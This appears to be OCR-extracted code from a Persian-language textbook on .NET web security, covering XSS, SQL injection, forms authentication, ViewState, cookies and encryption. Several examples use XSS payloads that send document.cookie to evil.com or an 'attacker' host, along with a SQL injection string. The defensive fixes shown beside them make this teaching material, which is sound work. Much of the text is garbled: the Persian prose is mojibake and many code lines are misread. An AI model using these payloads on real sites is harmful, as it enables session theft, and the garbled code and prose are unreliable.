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String[] MyStringArray = {"Manager", "Teller"};
GenericPrincipal MyPrincipal = new GenericPrincipal (MyIdentity,
MyStringArray) ;
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using System;
using System.Security.Principal;
using System.Threading;

public class Classl
{
public static int Main(string[] args)
{
// Create generic identity.
GenericIdentity MyIdentity = new GenericIdentity ("MyIdentity");

// Create generic principal.
String[] MyStringArray = {"Manager", "Teller"};
GenericPrincipal MyPrincipal =

new GenericPrincipal (MyIdentity, MyStringArray) ;

// Attach the principal to the current thread.

// This is not required unless repeated validation must occur,
// other code in your application must validate, or the

// PrincipalPermisson object is used.
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Thread.CurrentPrincipal = MyPrincipal;

// Print values to the console.

String Name = MyPrincipal.Identity.Name;
bool Auth = MyPrincipal.Identity.IsAuthenticated;
bool IsInRole = MyPrincipal.IsInRole ("Manager");

Console.WritelLine ("The Name is: {0}", Name);
Console.WriteLine ("The IsAuthenticated is: {0}", Auth);
Console.WriteLine ("Is this a Manager? {0}", IsInRole);

return 0;

}
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The Name is: MyIdentity

The IsAuthenticated is: True
Is this a Manager? True
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using System;
using System.IO;
using System.IO.IsolatedStorage;

namespace ConsoleApplicationl

{

class Program

{
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static void Main (string[] args)
{
IsolatedStorageFile isoStore =
IsolatedStorageFile.GetStore (IsolatedStorageScope.User |
IsolatedStorageScope.Assembly, null, null);

if (isoStore.FileExists ("TestStore.txt"))
{
Console.WriteLine ("The file already exists!");
using (IsolatedStorageFileStream isoStream = new
IsolatedStorageFileStream("TestStore.txt", FileMode.Open, isoStore))
{
using (StreamReader reader = new
StreamReader (isoStream) )
{
Console.WriteLine ("Reading contents:");
Console.WritelLine (reader.ReadToEnd()) ;

}

else

{
using (IsolatedStorageFileStream isoStream = new
IsolatedStorageFileStream ("TestStore.txt", FileMode.CreateNew, isoStore))

{
using (StreamWriter writer = new
StreamWriter (isoStream) )

{
writer.WritelLine ("Hello Isolated Storage");
Console.WriteLine ("You have written to the
file.");

}
}
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using System;
using System.IO.IsolatedStorage;
using System.IO;

public class DeletingFilesDirectories

{
public static void Main ()
{
// Get a new isolated store for this user domain and assembly.
// Put the store into an isolatedStorageFile object.

IsolatedStorageFile isoStore =
IsolatedStorageFile.GetStore (IsolatedStorageScope.User |
IsolatedStorageScope.Domain | IsolatedStorageScope.Assembly,
null, null);

Console.Writeline ("Creating Directories:");

// This code creates several different directories.

isoStore.CreateDirectory ("TopLevelDirectory") ;

Console.WriteLine ("TopLevelDirectory") ;

isoStore.CreateDirectory ("TopLevelDirectory/SecondLevel") ;

Console.WriteLine ("TopLevelDirectory/SecondLevel") ;

// This code creates two new directories, one inside the other.
isoStore.CreateDirectory ("AnotherTopLevelDirectory/InsideDirectory") ;

Console.WriteLine ("AnotherTopLevelDirectory/InsideDirectory") ;

Console.WriteLine () ;

// This code creates a few files and places them 1in the
directories.

Console.WritelLine ("Creating Files:");
// This file is placed in the root.

IsolatedStorageFileStream isoStreaml = new

IsolatedStorageFileStream ("InTheRoot.txt",
FileMode.Create, isoStore);
Console.WritelLine ("InTheRoot.txt") ;

isoStreaml.Close() ;
// This file is placed in the InsideDirectory.

IsolatedStorageFileStream isoStream? = new
IsolatedStorageFileStream (
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"AnotherTopLevelDirectory/InsideDirectory/HereIAm. txt",
FileMode.Create, isoStore);

Console.WriteLine ("AnotherTopLevelDirectory/InsideDirectory/HereIAm.txt")
; Console.WriteLine () ;

isoStream2.Close () ;

Console.WriteLine ("Deleting File:");

// This code deletes the HereIAm.txt file.

isoStore.DeleteFile ("AnotherTopLevelDirectory/InsideDirectory/HereIAm. txt
")

Console.WriteLine ("AnotherTopLevelDirectory/InsideDirectory/HereIAm.txt")

’

Console.WriteLine () ;
Console.WriteLine ("Deleting Directory:");

// This code deletes the InsideDirectory.

soStore.DeleteDirectory ("AnotherTopLevelDirectory/InsideDirectory/") ;
Console.WriteLine ("AnotherTopLevelDirectory/InsideDirectory/") ;
Console.WriteLine () ;

} // End of main.
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[CustomPermissionAttribute (SecurityAction.InheritanceDemand) ]
public class MyClass
{
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public MyClass ()
{
}

public virtual string ReadData ()
{

// Access a custom resource.

}
.
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Name: <asp:TextBox runat="server" ID="name"> </asp:TextBox >
<asp:RequiredFieldValidator ID="nameRequired" runat="server"
ErrorMessage="You must enter your name" ControlToValidate="name"
Dlsplay—"Dynamlc" Text="*" / >
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<asp:DropDownList runat="server" ID="county">
<asp:ListItem Selected="True">Select a county</asp:ListItem >
<asp:ListItem>Antrim</asp:ListItem >
<asp:ListItem>Armagh</asp:ListItem >
<asp:ListItem>Down</asp:ListItem >
<asp:ListItem>Fermanagh</asp:ListItem >
<asp:ListItem>Londonderry</asp:ListItem >
<asp:ListItem>Tyrone</asp:ListItem >
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</asp:DropDownList >

<asp:RequiredFieldValidator runat="server" ID="requiredCounty"
InitialValue="Select a county" ControlToValidate="county"
ErrorMessage="You must select a county" Text="*" / >
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<asp:TextBox runat="server" ID="age" />

<asp:RangeValidator runat="server" ID="ageRange" ControlToValidate="age"
MinimumValue="18" MaximumValue="30"

Type="Integer" ErrorMessage="You must be between 18 and 30." Text="*" / >
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<asp:TextBox runat="server" ID="confirm" />

<asp:CompareValidator runat="server" ID="confirmValidator"
ControlToValidate="confirm" ValueToCompare="yes" Type="String"
Operator="Equal" ErrorMessage="Enter yes to continue" Text="*" />
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<asp:TextBox runat="server" ID="password" TextMode="Password" />
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<asp:TextBox runat="server" ID="passwordConfirmation" TextMode="Password"
/>

<asp:CompareValidator runat="server" ID="passwordValidator"
ControlToValidate="password" ControlToCompare="passwordConfirmation"
Operator="Equal" ErrorMessage="Passwords do not match" Text="*" />
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<asp:TextBox runat="server" ID="anInteger" />

<asp:CompareValidator runat="server" ID="integerValidator"
ControlToValidate="anInteger" Operator="DataTypeCheck" Type="Integer"
ErrorMessage="You must enter an integer" Text=" * "
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<asp:TextBox runat="server" ID="zipcode" />
<asp:RegularExpressionValidator runat="server" ID="validateZipcode"

ControlToValidate="zipcode" ValidationExpression="\d{5} (-\d{4})?2"
ErrorMessage="Please enter a valid zipcode" Text="*" / >
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<asp:TextBox runat="server" ID="quantity" />
<asp:CustomValidator runat="server" ID="validateQuanity"
ValidateEmptyText="false" ControlToValidate= "quantity"
OnServerValidate="OnValidateQuantity"

ErrorMessage="Quantities must be divisable by 10" Text="*" / >
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protected void OnValidateQuantity(objéct source,
ServerValidateEventArgs args)
{

args.IsValid = false;

int value;

if (int.TryParse (args.Value, out value)) {
if (value % 10 == 0) {

args.IsValid = true;
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<script langaage="javascript">
function validateQuantity(source, args) {
args.IsValid = false;
if (args.Value % 10 == 0) {
args.IsValid = true;
}
}

</script>
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<asp:TextBox runat="server" ID="quantity" />
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<asp:CustomValidator runat="server" ID="validateQuanity"
ValidateEmptyText="false"
OnServerValidate="OnValidateQuantity"
ClientValidationFunction="validateQuantity"

ControlToValidate= "quantity"

ErrorMessage="Quantities must be divisable by 10" Text="*" / >
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<form id="forml" runat="server">

<asp:ValidationSummary ID="validationSummary" runat="server" / >

Name: <asp:TextBox runat="server" ID="name"></asp:TextBox >
<asp:RequiredFieldValidator ID="nameRequired" runat="server"
ErrorMessage="You must enter your name" ControlToValidate="name"
Display="Dynamic" Text=" * " / ><br/>

Email: <asp:TextBox runat="server" ID="email" / >
<asp:RequiredFieldValidator ID="emailRequired" runat="server"
ErrorMessage="You must enter your email"
ControlToValidate="email" Display="Dynamic" Text=" * " / >
<asp:RegularExpressionValidator ID="emailValidator"
runat="server"
ErrorMessage="Your email address does not appear to be valid"
Text="*"
ValidationExpression="\w+ ([-+."]\w+) *@\w+ ([—.]\w+) *\ . \w+ ([-
1 \wt) xT
ControlToValidate="email">
</asp:RegularExpressionValidator >

<asp:Button runat="server" ID="submit" Text="Submit"

OnClick="submit OnClick"/ >

</form>
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print "<html>"

print "<hl>Most recent comment</hl1>"
print database.latestComment

print "</html>"
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<script>doSomethingEvil ();</script>
</html>
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<script>
window.location=“http://evil.com/?cookie=" + document.cookie
</script>
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latestComment: <script>window.location="http://attacker/

<script>...</script>
< = 2cookie="+document.cookie</scripts
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print "<html>"

print "Latest comment:”
print database.latestComment

print "</html="
n GET http://attacker/?cookie=sensitive-data

Pl Colw Oy fely GET http://website/latest-comment

200 OK

<html>

Latest comment:
<script>
window.location="http://attacker/?cookie="+document.cookie
<[scripts
</htals
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print "<html>"
print "You searched for:"

print request.query[ 'keyword’]
n print "</html="
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<htal=>

You searched for:

<script>
window.location="http://attacker/?cookie="+document.cookie
<[scripts

</htal>
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print "<htamls"
print "You searched for: <ems</em>"
print “<scripta"
print "var keyword = lecation.search.substring(6);"
print "document.querySelector('em’).innerHTML = keyword;"
print "</script>"
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S e b 2!

http://website/search?
keyword=<scripk>...</script>

GET http://attacker/?cookie=sensitive-data
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<html>

You searched for: <em=<scripts...</scripts</em>
<script>

var keyword = location.search.substring(6);
document.querySelector(‘em').innerHTHL = keyword;
<[script>
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<script>

var keyword = location.search.substring(6);
document.querySelector('em’).innerHTML = keyword;
</script>

</htal>
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<script src=http://evil.com/xss.js></script>

<script> alert ("XSS"); </script>
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# Define POST variables
uname = txtName.text;
passwd = txtPass.text;

# SQL query vulnerable to SQLi

sgl = “SELECT id FROM users WHERE wusername=’'” + wuname + “/ AND
paSSWOrd=,” + PaSSWd + wrw
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'OR '1'="1" %00
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(I) string sglCommand = "select * from logins where username = '" +
Username.Text + "' and password = '"+ Password.Text + "'";
5%

(IT) string sglCommand = "select * from logins where username = (@username

and password=@password";
Y
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CREATE PROCEDURE dbo. GetLégin (
@Qusername varchar (25),
@password varchar (25))

AS

SELECT * FROM logins WHERE
username = (@username AND
password = @password

XV
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fllu)
string sglCommand = "GetLogin";

using (SglConnection connection = new SglConnection (
ConfigurationManager.ConnectionStrings|["database"].ConnectionString)) {

connection.Open () ;

SglCommand command = new SglCommand (sglCommand, connection) ;

command.CommandType = CommandType.StoredProcedure;

SglParameter usernameParmameter =

new SglParameter ("@Qusername", SglDbType.VarChar, 255) {
Value = this.Username.Text

.ol

Q
~

i
command.Parameters.Add (usernameParmameter) ;
SglParameter passwordParmameter =
new SglParameter ("@password", SqglDbType.VarChar, 255) {
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Value = this.Password.Text
) 2
command.Parameters.Add (passwordParmameter) ;

SglDataReader reader = command.ExecuteReader () ;
if (reader.Read())

Result.Text = "Welcome " + reader["username"];
else

Result.Text = "Login failed.";

connection.Close() ;
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ESAPI.encoder () .encodeForSQL ( new OracleCodec (), queryparam ) ;

w‘oraCIEQLJJﬂch JL>=.3“ QUJS)J L.’.}.’. w‘j}).}&ﬂ) JL:.A d.:u.ﬁ OKJA ‘U'.’.‘J’L"

String query = "SELECT user id FROM user data WHERE user name = '" +
req.getParameter ("userID") + "' and user password = '" +
reqg.getParameter ("pwd") +"'";

try {

Statement statement = connection.createStatement( .. );
ResultSet results = statement.executeQuery( query );

S o5k R L Jul bt
o o
Codec ORACLE CODEC = new OracleCodec();

String query = "SELECT user id FROM user data WHERE user name = '" +
ESAPI.encoder () .encodeForSQL ( ORACLE CODEC, reqg.getParameter ("userID")) +
"' and user password = '"

+ ESAPI.encoder () .encodeForSQL( ORACLE CODEC, reqg.getParameter ("pwd"))

+"l";
. NN o e L
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S sl OracleEncodel, G OUs s Al 5 g0 «dS (g ST 055 Ll (6l
Encoder oe = new OracleEncoder () ;
String query = "SELECT user id FROM user data WHERE user name = '"
+ oe.encode( req.getParameter ("userID")) + "' and user password = '"
+ oe.encode( reg.getParameter ("pwd")) +"'";

Q
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SQL> SELECT 'Frank''s Oracle site' AS text FROM DUAL;
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SQL> SELECT 'A ''quoted'' word.' AS text FROM DUAL;

A 'quoted' word.
SQL> SELECT 'A ''''double quoted'''' word.' AS text FROM DUAL;

A ''double quoted'' word.

S eslas! Q ¢UL9_F%%‘%§

~ S
SQL> SELECT qg'[Frank's Oracle site]' AS text FROM DUAL;

SQL> SELECT g'[A 'quoted' word.]' AS text FROM DUAL;

A 'quoted' word.
SQL> SELECT g'[A ''double quoted'' word.]' AS text FROM DUAL;

A ''double quoted'' word.
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SELECT name FROM emp
WHERE id LIKE '%/ %' ESCAPE '/';
SELECT name FROM emp
WHERE id LIKE '$\%%' ESCAPE '\';

B DEE@JM SQLFPIUS 31 eslical olKen L3 SQL*PIUS s & ,SLIS Lds o
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SET DEFINE ~
SELECT 'Laurel & Hardy' FROM dual;

gscape sShHlS a5 @
SET ESCAPE '\'
SELECT '\&abc' FROM dual;
il Kl e pane JLis 4 @

SET SCAN OFF
SELECT '&ABC' x FROM dual;
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SELECT 'Laurel ' || '&' || ' Hardy' FROM dual;
S eslinnl 10g J 3 & MKA 3l e

Syntax

q' [QUOTE CHAR]Text [QUOTE CHAR]'

Make sure that the QUOTE CHAR followed by an ' doesn't exist in the text.
SELECT g'{This is Orafaqg's 'quoted' text field}' FROM DUAL;
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CREATE USER Olle FOR LOGIN Olle;
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public partial class Default : Page

{
protected void Page Load(object sender, EventArgs e)
{

Result.Text = Server.HtmlEncode ("<script>unsafe</script>");

}
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public string GetEncodedText ()

{
return
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public partial class Default : Page
{
protected void Page Load(object sender, EventArgs e)
{
string destinationURL =
"http://www.contoso.com/default.aspx?user=test";
NextPage.NavigateUrl = "~/Finish?url=" +
Server.UrlEncode (destinationURL) ;
}
}
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public class SampleClass
{
public string GetUrl ()
{

string destinationURL =
"http://www.contoso.com/default.aspx?user=test";
return "~/Finish?url=" +
HttpContext.Current.Server.UrlEncode (destinationURL) ;
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Sandboxer newDomainInstance = (Sandboxer) handle.Unwrap () ;

Lles S sl S5U 4 a5 Sandboxer SIS 5l sla sed > |, ExecuteUntrustedCode % s

S Gl 2

newDomainInstance.ExecuteUntrustedCode (untrustedAssembly, untrustedClass,
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public void ExecuteUntrustedCode (string assemblyName, string typeName,
string entryPoint, Object[] parameters)
{
MethodInfo target = Assembly.Load (assemblyName)
.GetType (typeName) .GetMethod (entryPoint) ;
try
{
target.Invoke (null, parameters);
}
catch (Exception ex)
{
(new PermissionSet (PermissionState.Unrestricted))
.Assert () ;
Console.WriteLine ("SecurityException caught:\n{0}",
ex.ToString()) ;
CodeAccessPermission.RevertAssert () ;
Console.ReadLine () ;
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<authorization>
<deny users="2" />
</authorization>
</system.web>
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<%@ Page Language="C#" %>
<%@ Import Namespace="System.Web.Security" %>

<script runat="server'">
void Logon Click (object sender, EventArgs e)
{
if ((UserEmail.Text == "jchen@contoso.com") &&
(UserPass.Text == "37Y3*99Ps"))

FormsAuthentication.RedirectFromLoginPage
(UserEmail.Text, Persist.Checked):;
}
else

{

Msg.Text = "Invalid credentials. Please try again.";
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</script>
<html>
<head id="Headl" runat="server">
<title>Forms Authentication - Login</title>

</head>
<body>
<form id="forml" runat="server">
<h3>
Logon Page</h3>
<table>
<tr>
<td>
E-mail address:</td>
<td>
<asp:TextBox ID="UserEmail" runat="server" /></td>
<td>
<asp:RequiredFieldvValidator ID="RequiredFieldvValidatorl"
ControlToValidate="UserEmail"
Display="Dynamic"
ErrorMessage="Cannot be empty."
runat="server" />
</td>
</tr>
<tr>
<td>
Password:</td>
<td>
<asp:TextBox ID="UserPass" TextMode="Password"
runat="server" />
</td>
<td>
<asp:RequiredFieldValidator ID="RequiredFieldValidator2"
ControlToValidate="UserPass"
ErrorMessage="Cannot be empty."
runat="server" />
</td>
</tr>
<tr>
<td>
Remember me?</td>
<td>
<asp:CheckBox ID="Persist" runat="server" /></td>
</tr>
</table>

<asp:Button ID="Submitl" OnClick="Logon Click" Text="Log On"
runat="server" />
<p>
<asp:Label ID="Msg" ForeColor="red" runat="server" />
</p>
</form>
</body>
</html>
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<%@ Page Language—"c#" %>
<html>
<head>
<title>Forms Authentication - Default Page</title>
</head>

<script runat="server'">
void Page Load(object sender, EventArgs e)
{
Welcome.Text = "Hello, " + Context.User.Identity.Name;

}

void Signout Click (object sender, EventArgs e)
{
FormsAuthentication.SignOut () ;
Response.Redirect ("Logon.aspx") ;
}
</script>
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<body>
<h3>
Using Forms Authentication</h3>
<asp:Label ID="Welcome" runat="server" />

<form id="Forml" runat="server">

<asp:Button ID="Submitl" OnClick="Signout Click"

Text="Sign Out" runat="server" /><p>
</form>
</body>
</html>
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<credentials passwordFormat="SHA1" >
<user name="Kim"
password="07B7F3EE06F278DB966BE960E7CBBD103DF30CAG" />
<user name="John"
password="BA56E5E0366D003E98EA1C7FO04ABF8FCB3753889" />
</credentials>
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<configuration>
<system.web>
<authentication mode="Forms" >
<!-- The name, protection, and path attributes must match
exactly in each Web.config file. -->
<forms loginUrl="login.aspx"
name=".ASPXFORMSAUTH"
protection="A11"
path="/"
domain="contoso.com"
timeout="30" />
</authentication>

<!-- Validation and decryption keys must exactly match and cannot
be set to "AutoGenerate". The validation and decryption
algorithms must also be the same. -->

<machineKey

validationKey="C50B3C89CB21F4F1422FF158A5B42D0OESDB8CB5CDAL1742572A487D9401
E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CARE"
decryptionKey="8A9BE8FD67AF6979E7D20198CFEA50DD3D3799C77AF2B72F"
validation="SHAl" />
</system.web>
</configuration>
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<system.web>

<authentication mode="Windows"/>

</system.web>
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<system.web>
<authentication mode="Windows"/>
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<authorization>
<[allow|deny] users roles verbs />
</authorization>
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<deny users="?2"/>
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class Program
{
static readonly RNGCryptoServiceProvider rngProvider =
new RNGCryptoServiceProvider () ;
static void Main(string[] args)
{
StringBuilder machineKeyElement = new StringBuilder () ;
machineKeyElement .Append (" <machineKey\n") ;
machineKeyElement.Append (" validationKey=\"") ;
machineKeyElement .Append (CreateRandomKey (64) ) ;
machineKeyElement.Append ("\"\n") ;
machineKeyElement.Append (" decryptionKey=\"") ;
machineKeyElement .Append (CreateRandomKey (32) ) ;
machineKeyElement .Append ("\"\n") ;
machineKeyElement .Append (" validation=\"SHA1\"\n");
machineKeyElement .Append (" decryption=\"AES\"\n") ;
machineKeyElement.Append ("/ >" );
Console.WritelLine (machineKeyElement.ToString()) ;
}
static string CreateRandomKey (int length)
{
byte[] randomKey = new byte[length];
rngProvider.GetBytes (randomKey) ;
string hex = BitConverter.ToString (randomKey) ;
return hex.Replace("-", "");

}
}
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<% @Application Language="C#" %>
<script runat="server">
void Application PreRequestHandlerExecute
(object sender, EventArgs e)
{
HttpContext context = HttpContext.Current;
// Check we are actually in a webforms page.
Page page = context.Handler as Page;
if (page != null)
{
// Use the authenticated user if one is available,
// so as the user key does not expire over
// application recycles.
if (context.Request.IsAuthenticated)
{
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page.ViewStateUserKey context.User.Identity.Name;
}

else

{

page.ViewStateUserKey = context.Session.SessionlID;
}
}
}
</script >

b oS G S dms o e 5 ST Al i | O olSes oS ABL anils bl 4 oS

oslatul ol ol osls OLES 5 53 Il Olge 4 a5 ONINit sloy 55 51 A0l e )»E @ sl

é%@ S

using System;
using System.Web.UI;
public class ProtectedViewStatePage : Page
{
protected override void OnInit (EventArgs e)
{
if (Request.IsAuthenticated)
{
ViewStateUserKey = User.Identity.Name;
}
else

{

ViewStateUserKey Session.SessionID;

}

base.OnInit (e) ;

}
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<system.web>

<pages pageBaseType="ProtectedViewStatePage"></pages>
</system.web>
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{

return new SessionPageStatePersister (this);
}
}

S v
ViewState it sladls |5 45 45 Comad ol (San S L3155 amis 43708 a3 ol 5]

Ls ViewStateDecoder i3l 3l eslaal Cyse 53 Lpd o0 Mg Lo.inué

6@‘6—f&4ﬂ:}¢})‘5w&J‘PWJJ‘)J:{JL&)L&MS s

lewState 45 > sl

LS e oslaial 5y abasl> 5l slie I » SessionPageStatePersister

Sl Spie sl IS G s 5 L amio e {? so%nPageStatePersister Ll e ek
o =5 ViewState 4 sliws SessionPageStatePer 5 3 e sk 4 S Gl Ko (Dlis dan

415;1) 092 VleWState d}wu\s ‘J‘”"J’.’ J‘J\x_.; U&- 4.: )§‘ ’J)bgfa 4<.s b M &‘ LS‘JJ oL

VLY )L: Lo ML’JJ BE ./\.«.:\jshgc Q‘J.: 5/ &L@em Sldas J,L'S‘Ja— o gdoes U'i| Dy A

el by il sl <sessionPagen§nn Sk Sy i 3 1y el o 003 ViewsState sluss Al e

la S 4S5 ool eslimwl ¥
Mcdl}- N @& ‘-J-N‘J:'\I"J‘)J bj.!)lsu.ebwdibw‘ 45;}'.‘“ L;UMJW‘:\)&LAQJS
N
"UﬂJ”n‘JLi:"“}*” Lo ol pln oo b ol b Sos 0 SalS @ a S8 oSl s
@ 1S Js 1y 5 ola Jasdly sioes
aﬂbuéﬁjbc&:ﬁjﬂd))yM#‘)JJJLS))&L;MS.MLO&»L‘#QLGW‘M;@ °
e w bl gasl ;LK E eslital g 3550 ST aS Sl 0506 K Ol 4SS
IELE s Sl 63 e @f@oi&wm@u&; la S5S J31, bl

..\?l.gax..ﬁ-':g;)so_j)b

V40

‘;;‘.'.'

)

D

b

y



catigaibsoiialodis Cals 53 oyl o giaal wifle 3F »
kel g ot e i i ‘“‘r“ f"s

33 mtls S5 55 S A slie Al e &S as Olo oS 1 S8 GlaBl AL e

Ao lad ul...::—\ O g
.J.:Seﬁﬁ-sL;"SJJOMLSJ‘K}AJQJVQ\JQLPW‘ °
S asjluastrue LIy S s Hitp s Secure sls S5, @
la S48 5l cbli> ¥

(n)

Q
Gl S8 b sl b s s, Sde 4 XSS gtk S % Dl os SsS wolslS
i s AjaX oo Sul ¢, « XMLHitpRequest @g%\ S o» 552 HTTPONly
‘5 o.,b"j} ‘JJJL;) oslanul thfjj]e

Q

S o abls el ol s 55 dey 5 For,e,l oSB L G Lais

s e Ll |, HTTPONI

y Q
HTTPONlY (sla S 5851 !, B 8550 (sluidy Y- gt
g 3§ S e OXI 5% })5}1’ e SOz
Internet Explorer
AL 4 AL v Internet Explorer
B\
Ny P AL 1 Internet Explorer
AN
Q L v Mozilla Firefox
AL e Y Mozilla Firefox
\\\D : :
. o 4.0 Opera
N\Z il
\@J = . a.y Opera
¢
@ g o Yo Safari
. o o 4o Google Chrome

Sl Gl S s ganlis s | HTTPONY i (48 sarme aluon «(dns 5) ASP.NET 2.0
KB Gk 5l S e sislul sl SIS ol Wil e ek das e LIS s
WS g Sy 3 Lile web.config

<system.web>

AR



; . . . . .. ", R R . .. . shfle
J:ﬁ:;d.s::ﬁu | gome o ke ‘5\.@(,...“_ ‘5u‘5ﬁ.x.;w. | LiS ;;’L")L“ ‘5LAJL»J.3: dJL‘CJ"‘ oy 3 o 9lin Olbeds ‘:f""

<httpCookies httpOnlyCookies="true"/ >  .....
</system.web >
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HttpCookie  protectedCookie = new HttpCookie ("protectedCookie") ;

protectedCookie.HttpOnly = true;
Response.AppendCookie (protectedCookie) ;
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HttpCookie appCookie = new HttpCookie ("AppCookie") ;

appCookie.Value = "written " + DateTime.Now.ToString() ;
appCookie.Expires = DateTime.Now.AddDays (1) ;
appCookie.Path = "/Applicationl";
Response.Cookies.Add (appCookie) ;

A

SN e ol e YU e il (e ai; b Culi ) S S0 s K il e Path
Shadle gl dil o yias 55 (gilee saio, b Application] 4l s ;s 55 g0 Slmis 5 s SsS
o3l b Slmis gl YU Jle s et sbl S5 2L www.contoso.com Lei cole sl

el s g oyl 3 ady pl gs &S glamias a5 hittpi//www.contoso.com/Applicationl/

4V

D
&


http://www.contoso.com/Application1/

catigaibsoiialodis Cals 4 el Y ol 1F ’
d!mu.bl:u‘-i:inlu R ‘»""“’ *:"’3

s> L http:/;Awww.contoso.com/Application2/ ile  Kos asl, Slmio gl Ll sy

Sy Al o tws s httpi//www.contoso.com/

J‘-;-"j-.’.g;“-’ Lol .l u.»l.w:- a_é)).>- L&)Sj L;/)J" MWM cuﬁ))f L5'>.-J'~’ DL eSS
Ll ganlp STl S Jm8 55 Sy 5o 1, 0Ll 2zl gla sl 035 Cub S8
S LS sl Gla sl a8 W5 cpadas gl (Sin ol e G w355 0 S gla S S

S 5S saals baf% -7-y-r

b cole ST adle gl dman bLIE js ol ganly SO L L (12 S s o &

DD
aan LSl oaals ) cole Gl amin gty Ol 8 S Sy il www.contoso.com
(558 g0 o s Slis S L (S8 Jold) 555 oo sl JIEDE @ land i ek a5 s S S

Asl$ .+ Support.contoso.com g sales.contoso.com. wals oy Lo gl s cole S
B S a3 ol el K S

S e )l
(@
Response.Cookies["domain"] .Value = DateTime.Now.ToString() ;
Response.Cookies["domain"] .Expires = DateTime.Now.AddDays (1) ;
Response.Cookies["domain"] .Domain = "support.contoso.com";
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using (RijndaelManaged provider = new RijndaelManaged())
{
byte[] initVector = new byte[provider.BlockSize/8];
//Converting 128 bits to bytes
byte[] key = new byte[provider.KeySize / 8];
// Converting 256 bits to bytes
using (var rngProvider = new RNGCryptoServiceProvider())
{
rngProvider.GetBytes (initVector) ;
rngProvider.GetBytes (key) ;

}
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// Credit card data that I want to send Kamran

string creditCard = "1234 5678 9012 3456 06/13";

byte[] clearBytes = Encoding.UTF8.GetBytes (creditCard) ;

bytel] foggyBytes Transform(clearBytes, provider.CreateEncryptor (key,
initVector))
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private byte[] Transform(byte[] textBytes, ICryptoTransform transform)
{

using (var buf = new MemoryStream())

{

using (var stream = new CryptoStream (buf, transform,

CryptoStreamMode.Write))
{
stream.Write (textBytes, 0, textBytes.Length);
stream.FlushFinalBlock () ; return buf.ToArray():;
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using (var provider = new RNGCryptoServiceProvider ())
{
byte[] secretKeyBytes = new byte[32];
provider.GetBytes (secretKeyBytes) ;
return Convert.ToBase64String(secretKeyBytes) ;
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byte[] dataToKamran = Encoding.UTF8.GetBytes ("Meet me in the town
square") ;
using (HMACSHA256 hmac = new HMACSHA256 (secretKeyBytes))
{
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byte[] signatureBytes = hmac.ComputeHash (dataToJoe) ;

string signature = Convert.ToBase64String (signatureBytes) ;
Console.Writeline (signature) ;
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string signatureOfAmir = "FIOrhihM5nVisyT6X8TrtifBbbl4xGxowxm4mOMmdVs="";

byte[] dataFromAmir = Encoding.UTF8
.GetBytes ("Meet me in the town square");

using (HMACSHA256 hmac = new HMACSHA256 (secretKeyBytesOfAmir) )
{

byte[] signatureBytes = hmac.ComputeHash (dataFromAmir) ;
string computedSignature = Convert.ToBase64String (signatureBytes) ;

if (computedSignature.Equals (signatureOfAmir,

StringComparison.Ordinal))
Console.WriteLine ("Authentic") ;
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RSACryptoServiceProvider rsa = RSA.Create();
string publicKeyAsXml = rsaKey.ToXmlString(false);
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RSACryptoServiceProvider rsa = RSA.Create();
rsaKey.FromXmlString (publicKeyAsXml) ;
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// Create an UTF8 encoding class to parse strings from and to byte af;ays
UTF8Encoding encoding = new UTF8Encoding() ;
// Setup the sample text to encrypt and convert it to a byte array.
string clearText = "example";
byte[] clearTextAsBytes = encoding.GetBytes (clearText) ;
// Create a new instance of the RSACryptoServiceProvider
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider (1024) ;
// Export the keys as XML
string publicKeyAsXml = rsa.ToXmlString(false);
string privateKeyAsXml = rsa.ToXmlString(true) ;
// Create a new instance of the RSACryptoServiceProvider
// and load the public key parameters so it can be used to encrypt.
RSACryptoServiceProvider publicKeyRSA = new
RSACryptoServiceProvider (1024) ;
publicKeyRSA.FromXmlString (publicKeyAsXml) ;
byte[] encryptedData = publicKeyRSA.Encrypt (clearTextAsBytes, true);
// Create a new instance of the RSACryptoServiceProvider
// and load the private key parameters so it can be used to decrypt.
RSACryptoServiceProvider privateKeyRSA = new RSACryptoServiceProvider () ;
privateKeyRSA.FromXmlString (privateKeyAsXml); byte[] unencryptedBytes =
privateKeyRSA.Decrypt (encryptedData, true);
// And finally convert it back to a string to prove it works!
string unecnryptedString =

Encoding.UTF8.GetString (unencryptedBytes, O,
unencryptedBytes.Length) ;
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E Consolel - [Console Root\Certificates (Local Computer)\Personal\Certificates]
Tﬁ File Action View Favorites Window Help
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| Console Root Issued To Issued By Expiration Date  Intended Purposes  Friendly Name
« Cgrt;flcates l(LocaI GO o Alice Root Agency 1/1/2040 <All> <None>
a4 | Persona o X ,
‘olBad Root A 1/1/2040 <All> <None> N
| Certificates B S / one >
| Trusted Root Certificatic )
|| Enterprise Trust

_ Intermediate Certificatic
| Trusted Publishers

| Untrusted Certificates

_| Third-Party Root Certifi¢
| Trusted People

_| Other People

| Certificate Enrollment R
| Smart Card Trusted Roo
| Trusted Devices
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23 S sboles .l X509 4%5“; S ey OLiS cools 4> X509Certificate2 oS )
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static class CertificateHelper

.vJuJSeJULw\éhxi)

{

public static X509Certificate? ToCertificate ( this string
subjectName,

StoreName name = StoreName .My, StoreLocation location =
StorelLocation.LocalMachine)

{

X509Store store = new X509Store (name, location);
store.Open (OpenFlags.ReadOnly) ;
try

{

var cert = store.Certificates.OfType<X509Certificate2> ()

.FirstOrDefault (c =>

c.SubjectName.Name.Equals (subjectName,
StringComparison.OrdinalIgnoreCase)) ;

'= null) ? new X509Certificate2 (cert) null;

return (cert

YYA
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}
finally

{

store.Certificates.OfType<X509Certificate2> () .ToList () .ForEach (c=>c.Reset
());

store.Close () ;

}
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string dataToKamran = "1234 5678 9012 3456 06/13";
var cert = "CN=Kamran".ToCertificate();
var provider = (RSACryptoServiceProvider)cert.PublicKey.Key;

// Note the use of public key
byte[] cipherText = provider
.Encrypt (Encoding.UTF38
.GetBytes (dataToKamran), true);
Console.WritelLine (Convert.ToBase64String (cipherText)) ;
// What gets sent to Kamran is cipherText

MJ&OL&%@.b.wj.aé)L&‘Q)LSULOW\MbJJ)rLJquf)éjgz-f)du Y

// Kamran receives cipherText here
// Kamran decrypts the cipherText using her private key
var cert = "CN=Kamran".ToCertificate();
var provider = (RSACryptoServiceProvider)cert.PrivateKey;
Console.WriteLine (
Encoding.UTF8.GetString (
provider.Decrypt (cipherText, true))):;
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string publicKey = String.Empty;
string privateKey = String.Empty;
using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider ())
{

publicKey = rsa.ToXmlString(false) ;

privateKey = rsa.ToXmlString (true) ;

}
